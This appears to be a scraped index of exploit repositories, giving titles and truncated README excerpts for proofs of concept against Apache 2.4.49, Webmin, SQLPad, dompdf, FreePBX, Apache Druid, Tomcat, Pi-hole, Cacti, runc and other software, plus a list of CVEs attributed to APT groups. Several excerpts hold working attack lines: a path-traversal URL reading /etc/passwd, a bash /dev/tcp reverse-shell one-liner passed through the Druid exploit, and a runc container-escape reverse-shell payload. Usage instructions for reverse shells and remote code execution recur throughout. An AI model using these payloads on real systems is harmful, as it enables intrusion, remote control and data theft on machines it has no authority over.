CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Penetration testing 1.1. Path Traversal Read /etc/passwd file !/bin/bash Script: exploitpathtraversal.sh Objective: Read /etc/passwd file from Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Exploiting...

CVE-2012-2982_python

CVE-2012-2982 Exploit python Hello, I am a security researcher and this is my first exploit. Webmin 1.580 has a RCE which is also CVE-2012-2982 To use This payload: 1. download 2. Open in text editor! 3. change targetIP to your target 4. change lhost to your own ip 5. change lport to the port...

oracleShell

oracleShell Oracle Database Command Execution Test Environment - DBA Privileges: SELECT FROM v$version Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production...

CVE-2026-20896

CVE-2026-20896 Gitea's official Docker image up to and including 1.26.2 ships REVERSEPROXYTRUSTEDPROXIES = in its default config. If you turn on reverse-proxy login, that wildcard means every source IP is treated as a trusted proxy, so anyone who can reach the port can send an X-WEBAUTH-USER head...

CVE-2022-0944

CVE-2022-0944 A proof of concept exploit for SQLPad RCE CVE-2022-0944 Usage usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password log...

CVE-2022-41343

CVE-2022-41343 🐍 Python Exploit for CVE-2022-41343 Staged Reverse Shell for dompdf 2.0.1 Based on: Positive Sec's write-up and PoC Example cve-2022-41343 10.10.16.3 44444 Usage usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell Callback IP...

cve-2025-57819-exploit

CVE-2025-57819 Exploit Metadata Severity: Critical 9.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Type: Unauthenticated SQL Injection → Remote Code Execution Affected Software: FreePBX endpoint module...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...

htb-wifinetictwo-exploit

CVE-2021-31630 Exploit PoC This Python script is a Proof of Concept PoC exploit for CVE-2021-31630, targeting a vulnerability in OpenPLC running on the WifineticTwo box at HackTheBox. It is designed for educational purposes only, aiming to demonstrate the exploitation process in a controlled...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Unauthenticated Remote Code Execution This script is designed to exploit unauthenticated command execution vulnerability in Webmin 1.890. It allows you to execute arbitrary commands on a target Webmin server or to obtain a reverse shell. Usage The exploit takes 5...

BlackSnufkin

🎯 Profile Overview You have finally discovered my Github profile. Please feel free to clone/fork projects, raise issues and submit PRs if you think something could be better. Read my blog for write-ups and research - Happy Hacking! 😊 struct OffensiveOperator handle: String, role: String,...

CVE-2019-0232

Exploit for Apache Tomcat CVE-2019-0232 This script exploits the CVE-2019-0232 vulnerability in Apache Tomcat, which allows remote code execution through the improper handling of the ism.bat script. The script leverages a reverse shell technique using certutil and nc.exe Netcat to gain remote...

PCmanBoF

PCman FTP Server Buffer overflow and Remote Code Execution CVE-2013-4730 A very simple buffer overflow using CVE-2013-4730 against PCman's FTP server v.2.0.7 How it works? That easy BoF overwrite the buffer and execute the shellcode that will connect back reverse shell Vuln machines: WindowsXP SP...

APT-Backpack

APT-Backpack Most common used CVE's by APT, legitimate RAT and other tools used by adversary CVE's CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 Unauth file read CVE-2019-19781 Citrix ADC & Gateway Directory Traversal CVE-2020-5902 F5 Big IP RCE CVE-2021-1497 Cisco HyperFlex HX Unauth Command...

cve-2026-20896-gitea-poc

CVE-2026-20896 Gitea Docker Auth Bypass Checker Authorized red team / pentest operations only. This repository contains a minimal checker for CVE-2026-20896, an authentication bypass in official Gitea Docker images up to and including 1.26.2 when reverse-proxy authentication is enabled. What...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit based on https://cvedetails.com/cve/CVE-2009-2265/ The main reason I setup a python script for this particular cve was that the metasploit version of the same did not work for me when I tried to solve the HTB machine Arctic. Also it was nice to get some littl...

CVE-2020-8816

CVE-2020-8816 A Python script to exploit CVE-2020-8816, a remote code execution vulnerability on the Pi-hole. This script uses the techniques found by François Renaud-Philippon to achieve remote code execution on a Pi-hole running a web interface version less than 4.3.3. The exploit requires the...

CVE-2022-46196

CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...

cve-2019-5736-poc

Headers to Add stage2.c bash include bash include Modify to Attacker PC IP stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Create Docker Image and Container $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc...

ShiningAppMask-ReverseEngineering

ShiningAppMask-ReverseEngineering Intro After recently buying a Shining App Mask, I was curious about the Shining Mask App and mask and how they worked. I decided to reverse engineer it to understand how it worked. The journey started with the hardware. The Android Mobile App can be found here:...